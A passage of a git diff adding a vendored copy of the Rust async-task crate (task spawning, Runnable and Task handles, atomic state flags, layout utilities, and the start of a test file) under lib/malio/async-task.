world!".into(); +/// let future = async move { +/// println!("{}", msg); +/// }; +/// +/// // A function that schedules the task when it gets woken up. +/// let s = QUEUE.with(|(s, _)| s.clone()); +/// let schedule = move |runnable| s.send(runnable).unwrap(); +/// +/// // Create a task with the future and the schedule function. +/// let (runnable, task) = async_task::spawn_local(future, schedule); +/// ``` +#[cfg(feature = "std")] +pub fn spawn_local(future: F, schedule: S) -> (Runnable, Task) +where + F: Future + 'static, + F::Output: 'static, + S: Schedule + Send + Sync + 'static, +{ + Builder::new().spawn_local(move |()| future, schedule) +} + +/// Creates a new task without [`Send`], [`Sync`], and `'static` bounds. +/// +/// This function is same as [`spawn()`], except it does not require [`Send`], [`Sync`], and +/// `'static` on `future` and `schedule`. +/// +/// # Safety +/// +/// - If `future` is not [`Send`], its [`Runnable`] must be used and dropped on the original +/// thread. +/// - If `future` is not `'static`, borrowed variables must outlive its [`Runnable`]. +/// - If `schedule` is not [`Send`] and [`Sync`], all instances of the [`Runnable`]'s [`Waker`] +/// must be used and dropped on the original thread. +/// - If `schedule` is not `'static`, borrowed variables must outlive all instances of the +/// [`Runnable`]'s [`Waker`]. +/// +/// # Examples +/// +/// ``` +/// // The future inside the task. +/// let future = async { +/// println!("Hello, world!"); +/// }; +/// +/// // If the task gets woken up, it will be sent into this channel. +/// let (s, r) = flume::unbounded(); +/// let schedule = move |runnable| s.send(runnable).unwrap(); +/// +/// // Create a task with the future and the schedule function. +/// let (runnable, task) = unsafe { async_task::spawn_unchecked(future, schedule) }; +/// ``` +pub unsafe fn spawn_unchecked(future: F, schedule: S) -> (Runnable, Task) +where + F: Future, + S: Schedule, +{ + let builder = Builder::new(); + spawn_unchecked!(F, S, (), builder, schedule, raw => { future }) +} + +/// A handle to a runnable task. +/// +/// Every spawned task has a single [`Runnable`] handle, which only exists when the task is +/// scheduled for running. +/// +/// Method [`run()`][`Runnable::run()`] polls the task's future once. Then, the [`Runnable`] +/// vanishes and only reappears when its [`Waker`] wakes the task, thus scheduling it to be run +/// again. +/// +/// Dropping a [`Runnable`] cancels the task, which means its future won't be polled again, and +/// awaiting the [`Task`] after that will result in a panic. +/// +/// # Examples +/// +/// ``` +/// use async_task::Runnable; +/// use once_cell::sync::Lazy; +/// use std::{panic, thread}; +/// +/// // A simple executor. +/// static QUEUE: Lazy> = Lazy::new(|| { +/// let (sender, receiver) = flume::unbounded::(); +/// thread::spawn(|| { +/// for runnable in receiver { +/// let _ignore_panic = panic::catch_unwind(|| runnable.run()); +/// } +/// }); +/// sender +/// }); +/// +/// // Create a task with a simple future. +/// let schedule = |runnable| QUEUE.send(runnable).unwrap(); +/// let (runnable, task) = async_task::spawn(async { 1 + 2 }, schedule); +/// +/// // Schedule the task and await its output. +/// runnable.schedule(); +/// assert_eq!(smol::future::block_on(task), 3); +/// ``` +pub struct Runnable { + /// A pointer to the heap-allocated task. + pub(crate) ptr: NonNull<()>, + + /// A marker capturing generic type `M`. + pub(crate) _marker: PhantomData, +} + +unsafe impl Send for Runnable {} +unsafe impl Sync for Runnable {} + +#[cfg(feature = "std")] +impl std::panic::UnwindSafe for Runnable {} +#[cfg(feature = "std")] +impl std::panic::RefUnwindSafe for Runnable {} + +impl Runnable { + /// Get the metadata associated with this task. + /// + /// Tasks can be created with a metadata object associated with them; by default, this + /// is a `()` value. See the [`Builder::metadata()`] method for more information. + pub fn metadata(&self) -> &M { + &self.header_with_metadata().metadata + } + + /// Schedules the task. + /// + /// This is a convenience method that passes the [`Runnable`] to the schedule function. + /// + /// # Examples + /// + /// ``` + /// // A function that schedules the task when it gets woken up. + /// let (s, r) = flume::unbounded(); + /// let schedule = move |runnable| s.send(runnable).unwrap(); + /// + /// // Create a task with a simple future and the schedule function. + /// let (runnable, task) = async_task::spawn(async {}, schedule); + /// + /// // Schedule the task. + /// assert_eq!(r.len(), 0); + /// runnable.schedule(); + /// assert_eq!(r.len(), 1); + /// # let handle = std::thread::spawn(move || { for runnable in r { runnable.run(); }}); + /// # smol::future::block_on(task); + /// # handle.join().unwrap(); + /// ``` + pub fn schedule(self) { + let ptr = self.ptr.as_ptr(); + let header = ptr as *const Header; + mem::forget(self); + + unsafe { + ((*header).vtable.schedule)(ptr, ScheduleInfo::new(false)); + } + } + + /// Runs the task by polling its future. + /// + /// Returns `true` if the task was woken while running, in which case the [`Runnable`] gets + /// rescheduled at the end of this method invocation. Otherwise, returns `false` and the + /// [`Runnable`] vanishes until the task is woken. + /// The return value is just a hint: `true` usually indicates that the task has yielded, i.e. + /// it woke itself and then gave the control back to the executor. + /// + /// If the [`Task`] handle was dropped or if [`cancel()`][`Task::cancel()`] was called, then + /// this method simply destroys the task. + /// + /// If the polled future panics, this method propagates the panic, and awaiting the [`Task`] + /// after that will also result in a panic. + /// + /// # Examples + /// + /// ``` + /// // A function that schedules the task when it gets woken up. + /// let (s, r) = flume::unbounded(); + /// let schedule = move |runnable| s.send(runnable).unwrap(); + /// + /// // Create a task with a simple future and the schedule function. + /// let (runnable, task) = async_task::spawn(async { 1 + 2 }, schedule); + /// + /// // Run the task and check its output. + /// runnable.run(); + /// assert_eq!(smol::future::block_on(task), 3); + /// ``` + pub fn run(self) -> bool { + let ptr = self.ptr.as_ptr(); + let header = ptr as *const Header; + mem::forget(self); + + unsafe { ((*header).vtable.run)(ptr) } + } + + /// Returns a waker associated with this task. + /// + /// # Examples + /// + /// ``` + /// use smol::future; + /// + /// // A function that schedules the task when it gets woken up. + /// let (s, r) = flume::unbounded(); + /// let schedule = move |runnable| s.send(runnable).unwrap(); + /// + /// // Create a task with a simple future and the schedule function. + /// let (runnable, task) = async_task::spawn(future::pending::<()>(), schedule); + /// + /// // Take a waker and run the task. + /// let waker = runnable.waker(); + /// runnable.run(); + /// + /// // Reschedule the task by waking it. + /// assert_eq!(r.len(), 0); + /// waker.wake(); + /// assert_eq!(r.len(), 1); + /// # let handle = std::thread::spawn(move || { for runnable in r { runnable.run(); }}); + /// # smol::future::block_on(task.cancel()); // cancel because the future is future::pending + /// # handle.join().unwrap(); + /// ``` + pub fn waker(&self) -> Waker { + unsafe { + let raw_waker = Header::clone_waker(self.ptr.as_ptr()); + Waker::from_raw(raw_waker) + } + } + + fn header(&self) -> &Header { + unsafe { &*(self.ptr.as_ptr() as *const Header) } + } + + fn header_with_metadata(&self) -> &HeaderWithMetadata { + unsafe { &*(self.ptr.as_ptr() as *const HeaderWithMetadata) } + } + + /// Converts this task into a raw pointer. + /// + /// To avoid a memory leak the pointer must be converted back to a Runnable using [`Runnable::from_raw`][from_raw]. + /// + /// `into_raw` does not change the state of the [`Task`], but there is no guarantee that it will be in the same state after calling [`Runnable::from_raw`][from_raw], + /// as the corresponding [`Task`] might have been dropped or cancelled. + /// + /// # Examples + /// + /// ```rust + /// use async_task::{Runnable, spawn}; + /// + /// let (runnable, task) = spawn(async {}, |_| {}); + /// let runnable_pointer = runnable.into_raw(); + /// + /// unsafe { + /// // Convert back to an `Runnable` to prevent leak. + /// let runnable = Runnable::<()>::from_raw(runnable_pointer); + /// runnable.run(); + /// // Further calls to `Runnable::from_raw(runnable_pointer)` would be memory-unsafe. + /// } + /// // The memory was freed when `x` went out of scope above, so `runnable_pointer` is now dangling! + /// ``` + /// [from_raw]: #method.from_raw + pub fn into_raw(self) -> NonNull<()> { + let ptr = self.ptr; + mem::forget(self); + ptr + } + + /// Converts a raw pointer into a Runnable. + /// + /// # Safety + /// + /// This method should only be used with raw pointers returned from [`Runnable::into_raw`][into_raw]. + /// It is not safe to use the provided pointer once it is passed to `from_raw`. + /// Crucially, it is unsafe to call `from_raw` multiple times with the same pointer - even if the resulting [`Runnable`] is not used - + /// as internally `async-task` uses reference counting. + /// + /// It is however safe to call [`Runnable::into_raw`][into_raw] on a [`Runnable`] created with `from_raw` or + /// after the [`Task`] associated with a given Runnable has been dropped or cancelled. + /// + /// The state of the [`Runnable`] created with `from_raw` is not specified. + /// + /// # Examples + /// + /// ```rust + /// use async_task::{Runnable, spawn}; + /// + /// let (runnable, task) = spawn(async {}, |_| {}); + /// let runnable_pointer = runnable.into_raw(); + /// + /// drop(task); + /// unsafe { + /// // Convert back to an `Runnable` to prevent leak. + /// let runnable = Runnable::<()>::from_raw(runnable_pointer); + /// let did_poll = runnable.run(); + /// assert!(!did_poll); + /// // Further calls to `Runnable::from_raw(runnable_pointer)` would be memory-unsafe. + /// } + /// // The memory was freed when `x` went out of scope above, so `runnable_pointer` is now dangling! + /// ``` + /// + /// [into_raw]: #method.into_raw + pub unsafe fn from_raw(ptr: NonNull<()>) -> Self { + Self { + ptr, + _marker: Default::default(), + } + } +} + +impl Drop for Runnable { + fn drop(&mut self) { + let ptr = self.ptr.as_ptr(); + let header = self.header(); + + unsafe { + let mut state = header.state.load(Ordering::Acquire); + + loop { + // If the task has been completed or closed, it can't be canceled. + if state & (COMPLETED | CLOSED) != 0 { + break; + } + + // Mark the task as closed. + match header.state.compare_exchange_weak( + state, + state | CLOSED, + Ordering::AcqRel, + Ordering::Acquire, + ) { + Ok(_) => break, + Err(s) => state = s, + } + } + + // Drop the future. + (header.vtable.drop_future)(ptr, header.vtable.layout_info); + + // Mark the task as unscheduled. + let state = header.state.fetch_and(!SCHEDULED, Ordering::AcqRel); + + // Notify the awaiter that the future has been dropped. + if state & AWAITER != 0 { + (*header).notify(None); + } + + // Drop the task reference. + drop_ref(ptr); + } + } +} + +impl fmt::Debug for Runnable { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + let ptr = self.ptr.as_ptr(); + let header = ptr as *const HeaderWithMetadata; + + f.debug_struct("Runnable") + .field("header", unsafe { &(*header) }) + .finish() + } +} diff --git a/lib/malio/async-task/src/state.rs b/lib/malio/async-task/src/state.rs new file mode 100644 index 0000000..40ed5ca --- /dev/null +++ b/lib/malio/async-task/src/state.rs @@ -0,0 +1,69 @@ +/// Set if the task is scheduled for running. +/// +/// A task is considered to be scheduled whenever its `Runnable` exists. +/// +/// This flag can't be set when the task is completed. However, it can be set while the task is +/// running, in which case it will be rescheduled as soon as polling finishes. +pub(crate) const SCHEDULED: usize = 1 << 0; + +/// Set if the task is running. +/// +/// A task is in running state while its future is being polled. +/// +/// This flag can't be set when the task is completed. However, it can be in scheduled state while +/// it is running, in which case it will be rescheduled as soon as polling finishes. +pub(crate) const RUNNING: usize = 1 << 1; + +/// Set if the task has been completed. +/// +/// This flag is set when polling returns `Poll::Ready`. The output of the future is then stored +/// inside the task until it becomes closed. In fact, `Task` picks up the output by marking +/// the task as closed. +/// +/// This flag can't be set when the task is scheduled or running. +pub(crate) const COMPLETED: usize = 1 << 2; + +/// Set if the task is closed. +/// +/// If a task is closed, that means it's either canceled or its output has been consumed by the +/// `Task`. A task becomes closed in the following cases: +/// +/// 1. It gets canceled by `Runnable::drop()`, `Task::drop()`, or `Task::cancel()`. +/// 2. Its output gets awaited by the `Task`. +/// 3. It panics while polling the future. +/// 4. It is completed and the `Task` gets dropped. +pub(crate) const CLOSED: usize = 1 << 3; + +/// Set if the `Task` still exists. +/// +/// The `Task` is a special case in that it is only tracked by this flag, while all other +/// task references (`Runnable` and `Waker`s) are tracked by the reference count. +pub(crate) const TASK: usize = 1 << 4; + +/// Set if the `Task` is awaiting the output. +/// +/// This flag is set while there is a registered awaiter of type `Waker` inside the task. When the +/// task gets closed or completed, we need to wake the awaiter. This flag can be used as a fast +/// check that tells us if we need to wake anyone. +pub(crate) const AWAITER: usize = 1 << 5; + +/// Set if an awaiter is being registered. +/// +/// This flag is set when `Task` is polled and we are registering a new awaiter. +pub(crate) const REGISTERING: usize = 1 << 6; + +/// Set if the awaiter is being notified. +/// +/// This flag is set when notifying the awaiter. If an awaiter is concurrently registered and +/// notified, whichever side came first will take over the responsibility of resolving the race. +pub(crate) const NOTIFYING: usize = 1 << 7; + +/// A single reference. +/// +/// The lower bits in the state contain various flags representing the task state, while the upper +/// bits contain the reference count. The value of `REFERENCE` represents a single reference in the +/// total reference count. +/// +/// Note that the reference counter only tracks the `Runnable` and `Waker`s. The `Task` is +/// tracked separately by the `TASK` flag. +pub(crate) const REFERENCE: usize = 1 << 8; diff --git a/lib/malio/async-task/src/task.rs b/lib/malio/async-task/src/task.rs new file mode 100644 index 0000000..d92172f --- /dev/null +++ b/lib/malio/async-task/src/task.rs @@ -0,0 +1,566 @@ +use core::fmt; +use core::future::Future; +use core::marker::PhantomData; +use core::mem; +use core::pin::Pin; +use core::ptr::NonNull; +use core::sync::atomic::Ordering; +use core::task::{Context, Poll}; + +use crate::header::{Header, HeaderWithMetadata}; +use crate::raw::Panic; +use crate::state::*; +use crate::ScheduleInfo; + +/// A spawned task. +/// +/// A [`Task`] can be awaited to retrieve the output of its future. +/// +/// Dropping a [`Task`] cancels it, which means its future won't be polled again. To drop the +/// [`Task`] handle without canceling it, use [`detach()`][`Task::detach()`] instead. To cancel a +/// task gracefully and wait until it is fully destroyed, use the [`cancel()`][Task::cancel()] +/// method. +/// +/// Note that canceling a task actually wakes it and reschedules one last time. Then, the executor +/// can destroy the task by simply dropping its [`Runnable`][`super::Runnable`] or by invoking +/// [`run()`][`super::Runnable::run()`]. +/// +/// # Examples +/// +/// ``` +/// use smol::{future, Executor}; +/// use std::thread; +/// +/// let ex = Executor::new(); +/// +/// // Spawn a future onto the executor. +/// let task = ex.spawn(async { +/// println!("Hello from a task!"); +/// 1 + 2 +/// }); +/// +/// // Run an executor thread. +/// thread::spawn(move || future::block_on(ex.run(future::pending::<()>()))); +/// +/// // Wait for the task's output. +/// assert_eq!(future::block_on(task), 3); +/// ``` +#[must_use = "tasks get canceled when dropped, use `.detach()` to run them in the background"] +pub struct Task { + /// A raw task pointer. + pub(crate) ptr: NonNull<()>, + + /// A marker capturing generic types `T` and `M`. + pub(crate) _marker: PhantomData<(T, M)>, +} + +unsafe impl Send for Task {} +unsafe impl Sync for Task {} + +impl Unpin for Task {} + +#[cfg(feature = "std")] +impl std::panic::UnwindSafe for Task {} +#[cfg(feature = "std")] +impl std::panic::RefUnwindSafe for Task {} + +impl Task { + /// Detaches the task to let it keep running in the background. + /// + /// # Examples + /// + /// ``` + /// use smol::{Executor, Timer}; + /// use std::time::Duration; + /// + /// let ex = Executor::new(); + /// + /// // Spawn a daemon future. + /// ex.spawn(async { + /// loop { + /// println!("I'm a daemon task looping forever."); + /// Timer::after(Duration::from_secs(1)).await; + /// } + /// }) + /// .detach(); + /// ``` + pub fn detach(self) { + let this = self; + let _out = set_detached::(this.ptr.as_ptr()); + mem::forget(this); + } + + /// Cancels the task and waits for it to stop running. + /// + /// Returns the task's output if it was completed just before it got canceled, or [`None`] if + /// it didn't complete. + /// + /// While it's possible to simply drop the [`Task`] to cancel it, this is a cleaner way of + /// canceling because it also waits for the task to stop running. + /// + /// # Examples + /// + /// ``` + /// # if cfg!(miri) { return; } // Miri does not support epoll + /// use smol::{future, Executor, Timer}; + /// use std::thread; + /// use std::time::Duration; + /// + /// let ex = Executor::new(); + /// + /// // Spawn a daemon future. + /// let task = ex.spawn(async { + /// loop { + /// println!("Even though I'm in an infinite loop, you can still cancel me!"); + /// Timer::after(Duration::from_secs(1)).await; + /// } + /// }); + /// + /// // Run an executor thread. + /// thread::spawn(move || future::block_on(ex.run(future::pending::<()>()))); + /// + /// future::block_on(async { + /// Timer::after(Duration::from_secs(3)).await; + /// task.cancel().await; + /// }); + /// ``` + pub async fn cancel(self) -> Option { + let this = self; + set_canceled(this.ptr.as_ptr()); + this.fallible().await + } + + /// Converts this task into a [`FallibleTask`]. + /// + /// Like [`Task`], a fallible task will poll the task's output until it is + /// completed or cancelled due to its [`Runnable`][`super::Runnable`] being + /// dropped without being run. Resolves to the task's output when completed, + /// or [`None`] if it didn't complete. + /// + /// # Examples + /// + /// ``` + /// use smol::{future, Executor}; + /// use std::thread; + /// + /// let ex = Executor::new(); + /// + /// // Spawn a future onto the executor. + /// let task = ex.spawn(async { + /// println!("Hello from a task!"); + /// 1 + 2 + /// }) + /// .fallible(); + /// + /// // Run an executor thread. + /// thread::spawn(move || future::block_on(ex.run(future::pending::<()>()))); + /// + /// // Wait for the task's output. + /// assert_eq!(future::block_on(task), Some(3)); + /// ``` + /// + /// ``` + /// use smol::future; + /// + /// // Schedule function which drops the runnable without running it. + /// let schedule = move |runnable| drop(runnable); + /// + /// // Create a task with the future and the schedule function. + /// let (runnable, task) = async_task::spawn(async { + /// println!("Hello from a task!"); + /// 1 + 2 + /// }, schedule); + /// runnable.schedule(); + /// + /// // Wait for the task's output. + /// assert_eq!(future::block_on(task.fallible()), None); + /// ``` + pub fn fallible(self) -> FallibleTask { + FallibleTask { task: self } + } + + fn header_with_metadata(&self) -> &HeaderWithMetadata { + let ptr = self.ptr.as_ptr(); + let header = ptr as *const HeaderWithMetadata; + unsafe { &*header } + } + + /// Returns `true` if the current task is finished. + /// + /// Note that in a multithreaded environment, this task can change finish immediately after calling this function. + pub fn is_finished(&self) -> bool { + let ptr = self.ptr.as_ptr(); + let header = ptr as *const Header; + + unsafe { + let state = (*header).state.load(Ordering::Acquire); + state & (CLOSED | COMPLETED) != 0 + } + } + + /// Get the metadata associated with this task. + /// + /// Tasks can be created with a metadata object associated with them; by default, this + /// is a `()` value. See the [`Builder::metadata()`] method for more information. + pub fn metadata(&self) -> &M { + let ptr = self.ptr.as_ptr(); + let header = ptr as *const HeaderWithMetadata; + &unsafe { &*header }.metadata + } +} + +/// Puts the task in detached state. +#[inline(never)] +fn set_detached(ptr: *const ()) -> Option> { + let header = ptr as *const Header; + + unsafe { + // A place where the output will be stored in case it needs to be dropped. + let mut output = None; + + // Optimistically assume the `Task` is being detached just after creating the task. + // This is a common case so if the `Task` is datached, the overhead of it is only one + // compare-exchange operation. + if let Err(mut state) = (*header).state.compare_exchange_weak( + SCHEDULED | TASK | REFERENCE, + SCHEDULED | REFERENCE, + Ordering::AcqRel, + Ordering::Acquire, + ) { + loop { + // If the task has been completed but not yet closed, that means its output + // must be dropped. + if state & COMPLETED != 0 && state & CLOSED == 0 { + // Mark the task as closed in order to grab its output. + match (*header).state.compare_exchange_weak( + state, + state | CLOSED, + Ordering::AcqRel, + Ordering::Acquire, + ) { + Ok(_) => { + // Read the output. + output = Some( + ((*header).vtable.get_output(ptr) as *mut Result).read(), + ); + + // Update the state variable because we're continuing the loop. + state |= CLOSED; + } + Err(s) => state = s, + } + } else { + // If this is the last reference to the task and it's not closed, then + // close it and schedule one more time so that its future gets dropped by + // the executor. + let new = if state & (!(REFERENCE - 1) | CLOSED) == 0 { + SCHEDULED | CLOSED | REFERENCE + } else { + state & !TASK + }; + + // Unset the `TASK` flag. + match (*header).state.compare_exchange_weak( + state, + new, + Ordering::AcqRel, + Ordering::Acquire, + ) { + Ok(_) => { + // If this is the last reference to the task, we need to either + // schedule dropping its future or destroy it. + if state & !(REFERENCE - 1) == 0 { + if state & CLOSED == 0 { + ((*header).vtable.schedule)(ptr, ScheduleInfo::new(false)); + } else { + ((*header).vtable.destroy)(ptr); + } + } + + break; + } + Err(s) => state = s, + } + } + } + } + + output + } +} + +/// Puts the task in canceled state. +#[inline(never)] +fn set_canceled(ptr: *const ()) { + let header = ptr as *const Header; + + unsafe { + let mut state = (*header).state.load(Ordering::Acquire); + + loop { + // If the task has been completed or closed, it can't be canceled. + if state & (COMPLETED | CLOSED) != 0 { + break; + } + + // If the task is not scheduled nor running, we'll need to schedule it. + let new = if state & (SCHEDULED | RUNNING) == 0 { + (state | SCHEDULED | CLOSED) + REFERENCE + } else { + state | CLOSED + }; + + // Mark the task as closed. + match (*header).state.compare_exchange_weak( + state, + new, + Ordering::AcqRel, + Ordering::Acquire, + ) { + Ok(_) => { + // If the task is not scheduled nor running, schedule it one more time so + // that its future gets dropped by the executor. + if state & (SCHEDULED | RUNNING) == 0 { + ((*header).vtable.schedule)(ptr, ScheduleInfo::new(false)); + } + + // Notify the awaiter that the task has been closed. + if state & AWAITER != 0 { + (*header).notify(None); + } + + break; + } + Err(s) => state = s, + } + } + } +} + +/// Polls the task to retrieve its output. +/// +/// Returns `Some` if the task has completed or `None` if it was closed. +/// +/// A task becomes closed in the following cases: +/// +/// 1. It gets canceled by `Runnable::drop()`, `Task::drop()`, or `Task::cancel()`. +/// 2. Its output gets awaited by the `Task`. +/// 3. It panics while polling the future. +/// 4. It is completed and the `Task` gets dropped. +fn poll_task(ptr: *const (), cx: &mut Context<'_>) -> Poll> { + let header = ptr as *const Header; + + unsafe { + let mut state = (*header).state.load(Ordering::Acquire); + + loop { + // If the task has been closed, notify the awaiter and return `None`. + if state & CLOSED != 0 { + // If the task is scheduled or running, we need to wait until its future is + // dropped. + if state & (SCHEDULED | RUNNING) != 0 { + // Replace the waker with one associated with the current task. + (*header).register(cx.waker()); + + // Reload the state after registering. It is possible changes occurred just + // before registration so we need to check for that. + state = (*header).state.load(Ordering::Acquire); + + // If the task is still scheduled or running, we need to wait because its + // future is not dropped yet. + if state & (SCHEDULED | RUNNING) != 0 { + return Poll::Pending; + } + } + + // Even though the awaiter is most likely the current task, it could also be + // another task. + (*header).notify(Some(cx.waker())); + return Poll::Ready(None); + } + + // If the task is not completed, register the current task. + if state & COMPLETED == 0 { + // Replace the waker with one associated with the current task. + (*header).register(cx.waker()); + + // Reload the state after registering. It is possible that the task became + // completed or closed just before registration so we need to check for that. + state = (*header).state.load(Ordering::Acquire); + + // If the task has been closed, restart. + if state & CLOSED != 0 { + continue; + } + + // If the task is still not completed, we're blocked on it. + if state & COMPLETED == 0 { + return Poll::Pending; + } + } + + // Since the task is now completed, mark it as closed in order to grab its output. + match (*header).state.compare_exchange( + state, + state | CLOSED, + Ordering::AcqRel, + Ordering::Acquire, + ) { + Ok(_) => { + // Notify the awaiter. Even though the awaiter is most likely the current + // task, it could also be another task. + if state & AWAITER != 0 { + (*header).notify(Some(cx.waker())); + } + + // Take the output from the task. + let output = (*header).vtable.get_output(ptr) as *mut Result; + let output = output.read(); + + // Propagate the panic if the task panicked. + let output = match output { + Ok(output) => output, + Err(panic) => { + #[cfg(feature = "std")] + std::panic::resume_unwind(panic); + + #[cfg(not(feature = "std"))] + match panic {} + } + }; + + return Poll::Ready(Some(output)); + } + Err(s) => state = s, + } + } + } +} + +impl Drop for Task { + fn drop(&mut self) { + let ptr = self.ptr.as_ptr(); + set_canceled(ptr); + set_detached::(ptr); + } +} + +impl Future for Task { + type Output = T; + + fn poll(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + match poll_task::(self.ptr.as_ptr(), cx) { + Poll::Ready(t) => Poll::Ready(t.expect("Task polled after completion")), + Poll::Pending => Poll::Pending, + } + } +} + +impl fmt::Debug for Task { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.debug_struct("Task") + .field("header", self.header_with_metadata()) + .finish() + } +} + +/// A spawned task with a fallible response. +/// +/// This type behaves like [`Task`], however it produces an `Option` when +/// polled and will return `None` if the executor dropped its +/// [`Runnable`][`super::Runnable`] without being run. +/// +/// This can be useful to avoid the panic produced when polling the `Task` +/// future if the executor dropped its `Runnable`. +#[must_use = "tasks get canceled when dropped, use `.detach()` to run them in the background"] +pub struct FallibleTask { + task: Task, +} + +impl FallibleTask { + /// Detaches the task to let it keep running in the background. + /// + /// # Examples + /// + /// ``` + /// use smol::{Executor, Timer}; + /// use std::time::Duration; + /// + /// let ex = Executor::new(); + /// + /// // Spawn a daemon future. + /// ex.spawn(async { + /// loop { + /// println!("I'm a daemon task looping forever."); + /// Timer::after(Duration::from_secs(1)).await; + /// } + /// }) + /// .fallible() + /// .detach(); + /// ``` + pub fn detach(self) { + self.task.detach() + } + + /// Cancels the task and waits for it to stop running. + /// + /// Returns the task's output if it was completed just before it got canceled, or [`None`] if + /// it didn't complete. + /// + /// While it's possible to simply drop the [`Task`] to cancel it, this is a cleaner way of + /// canceling because it also waits for the task to stop running. + /// + /// # Examples + /// + /// ``` + /// # if cfg!(miri) { return; } // Miri does not support epoll + /// use smol::{future, Executor, Timer}; + /// use std::thread; + /// use std::time::Duration; + /// + /// let ex = Executor::new(); + /// + /// // Spawn a daemon future. + /// let task = ex.spawn(async { + /// loop { + /// println!("Even though I'm in an infinite loop, you can still cancel me!"); + /// Timer::after(Duration::from_secs(1)).await; + /// } + /// }) + /// .fallible(); + /// + /// // Run an executor thread. + /// thread::spawn(move || future::block_on(ex.run(future::pending::<()>()))); + /// + /// future::block_on(async { + /// Timer::after(Duration::from_secs(3)).await; + /// task.cancel().await; + /// }); + /// ``` + pub async fn cancel(self) -> Option { + self.task.cancel().await + } + + /// Returns `true` if the current task is finished. + /// + /// Note that in a multithreaded environment, this task can change finish immediately after calling this function. + pub fn is_finished(&self) -> bool { + self.task.is_finished() + } +} + +impl Future for FallibleTask { + type Output = Option; + + fn poll(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + poll_task::(self.task.ptr.as_ptr(), cx) + } +} + +impl fmt::Debug for FallibleTask { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.debug_struct("FallibleTask") + .field("header", self.task.header_with_metadata()) + .finish() + } +} diff --git a/lib/malio/async-task/src/utils.rs b/lib/malio/async-task/src/utils.rs new file mode 100644 index 0000000..8837f50 --- /dev/null +++ b/lib/malio/async-task/src/utils.rs @@ -0,0 +1,127 @@ +use core::alloc::Layout as StdLayout; +use core::mem; + +/// Aborts the process. +/// +/// To abort, this function simply panics while panicking. +pub(crate) fn abort() -> ! { + struct Panic; + + impl Drop for Panic { + fn drop(&mut self) { + panic!("aborting the process"); + } + } + + let _panic = Panic; + panic!("aborting the process"); +} + +pub(crate) struct Bomb; + +impl Drop for Bomb { + fn drop(&mut self) { + abort(); + } +} + +/// Calls a function and aborts if it panics. +/// +/// This is useful in unsafe code where we can't recover from panics. +#[inline] +pub(crate) fn abort_on_panic(f: impl FnOnce() -> T) -> T { + let bomb = Bomb; + let t = f(); + mem::forget(bomb); + t +} + +/// A version of `alloc::alloc::Layout` that can be used in the const +/// position. +#[derive(Clone, Copy, Debug)] +pub(crate) struct Layout { + size: usize, + align: usize, +} + +impl Layout { + /// Creates a new `Layout` with the given size and alignment. + #[inline] + pub(crate) const fn from_size_align(size: usize, align: usize) -> Self { + Self { size, align } + } + + /// Creates a new `Layout` for the given sized type. + #[inline] + pub(crate) const fn new() -> Self { + Self::from_size_align(mem::size_of::(), mem::align_of::()) + } + + /// Convert this into the standard library's layout type. + /// + /// # Safety + /// + /// - `align` must be non-zero and a power of two. + /// - When rounded up to the nearest multiple of `align`, the size + /// must not overflow. + #[inline] + pub(crate) const unsafe fn into_std(self) -> StdLayout { + StdLayout::from_size_align_unchecked(self.size, self.align) + } + + /// Get the alignment of this layout. + #[inline] + pub(crate) const fn align(&self) -> usize { + self.align + } + + /// Get the size of this layout. + #[inline] + pub(crate) const fn size(&self) -> usize { + self.size + } + + /// Returns the layout for `a` followed by `b` and the offset of `b`. + /// + /// This function was adapted from the `Layout::extend()`: + /// https://doc.rust-lang.org/nightly/std/alloc/struct.Layout.html#method.extend + #[inline] + pub(crate) const fn extend(self, other: Layout) -> Option<(Layout, usize)> { + let new_align = max(self.align(), other.align()); + let pad = self.padding_needed_for(other.align()); + + let offset = leap!(self.size().checked_add(pad)); + let new_size = leap!(offset.checked_add(other.size())); + + // return None if any of the following are true: + // - align is 0 (implied false by is_power_of_two()) + // - align is not a power of 2 + // - size rounded up to align overflows + if !new_align.is_power_of_two() || new_size > isize::MAX as usize - (new_align - 1) { + return None; + } + + let layout = Layout::from_size_align(new_size, new_align); + Some((layout, offset)) + } + + /// Returns the padding after `layout` that aligns the following address to `align`. + /// + /// This function was adapted from the `Layout::padding_needed_for()`: + /// https://doc.rust-lang.org/nightly/std/alloc/struct.Layout.html#method.padding_needed_for + #[inline] + const fn padding_needed_for(self, align: usize) -> usize { + let len = self.size(); + let len_rounded_up = len.wrapping_add(align).wrapping_sub(1) & !align.wrapping_sub(1); + len_rounded_up.wrapping_sub(len) + } +} + +#[inline] +pub(crate) const fn max(left: usize, right: usize) -> usize { + if left > right { + left + } else { + right + } +} diff --git a/lib/malio/async-task/tests/basic.rs b/lib/malio/async-task/tests/basic.rs new file mode 100644 index 0000000..727a05e --- /dev/null +++ b/lib/malio/async-task/tests/basic.rs @@ -0,0 +1,325 @@ +use std::future::Future; +use std::pin::Pin; +use std::ptr::NonNull; +use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering}; +use std::sync::Arc; +use std::task::{Context, Poll}; + +use async_task::Runnable; +use smol::future; + +// Creates a future with event counters. +// +// Usage: `future!(f, POLL, DROP)` +// +// The future `f` always returns `Poll::Ready`. +// When it gets polled, `POLL` is incremented. +// When it gets dropped, `DROP` is incremented. +macro_rules! future { + ($name:pat, $poll:ident, $drop:ident) => { + static $poll: AtomicUsize = AtomicUsize::new(0); + static $drop: AtomicUsize = AtomicUsize::new(0); + + let $name = { + struct Fut(#[allow(dead_code)] Box); + + impl Future for Fut { + type Output = Box; + + fn poll(self: Pin<&mut Self>, _cx: &mut Context<'_>) -> Poll { + $poll.fetch_add(1, Ordering::SeqCst); + Poll::Ready(Box::new(0)) + } + } + + impl Drop for Fut { + fn drop(&mut self) { + $drop.fetch_add(1, Ordering::SeqCst); + } + } + + Fut(Box::new(0)) + }; + }; +} + +// Creates a schedule function with event counters. +// +// Usage: `schedule!(s, SCHED, DROP)` +// +// The schedule function `s` does nothing. +// When it gets invoked, `SCHED` is incremented. +// When it gets dropped, `DROP` is incremented. +macro_rules! schedule { + ($name:pat, $sched:ident, $drop:ident) => { + static $drop: AtomicUsize = AtomicUsize::new(0); + static $sched: AtomicUsize = AtomicUsize::new(0); + + let $name = { + struct Guard(#[allow(dead_code)] Box); + + impl Drop for Guard { + fn drop(&mut self) { + 